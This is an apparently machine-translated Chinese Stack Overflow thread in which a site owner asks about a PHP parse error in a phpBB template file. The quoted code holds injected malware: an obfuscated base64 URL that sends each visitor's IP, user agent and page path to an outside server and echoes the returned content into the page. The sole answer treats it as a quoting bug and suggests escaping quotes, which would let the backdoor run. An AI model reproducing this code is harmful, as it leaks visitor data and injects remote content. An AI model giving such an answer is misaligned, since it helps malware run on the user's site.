0
Parse error: syntax error, unexpected T_STRING in /home/yahooda7/public_html/errorkode.com/includes/template.php on line 236

www.errorkode.com 网站运行良好。突然之间,我现在正在克服错误。如何解决这个错误。我没有php知识。请帮助我。

    function display($handle, $include_once = true)
    {
        global $user, $phpbb_hook;

        if (!empty($phpbb_hook) && $phpbb_hook->call_hook(array(__CLASS__, __FUNCTION__), $handle, $include_once, $this))
        {
            if ($phpbb_hook->hook_return(array(__CLASS__, __FUNCTION__)))
            {
                return $phpbb_hook->hook_return_result(array(__CLASS__, __FUNCTION__));
            }
        }

        if (defined('IN_ERROR_HANDLER'))
        {
            if ((E_NOTICE & error_reporting()) == E_NOTICE)
            {
                error_reporting(error_reporting() ^ E_NOTICE);
            }
        }

        if ($filename = $this->_tpl_load($handle))
        {
            ($include_once) ? include_once($filename) : include($filename);
        }
        else
        {
            eval(' ?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    // Below line is 236
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>' . $this->compiled_code[$handle] . '<?php ');
        }

        return true;
    }

我添加了代码并在评论中提到了 236 行,请检查。

4

1 回答 1

0

你的 eval 坏了:

eval(' ?><?php
     ^--- beginning of string
    ...snip...
    $sUserAgent = strtolower($_SERVER['HTTP etc...
                                      ^---end of string

eval 中的任何引号都必须转义,例如

$sUserAgent = strtolower($_SERVER[\'HTTP etc..
                                  ^---- escape
于 2013-07-04T19:46:51.023 回答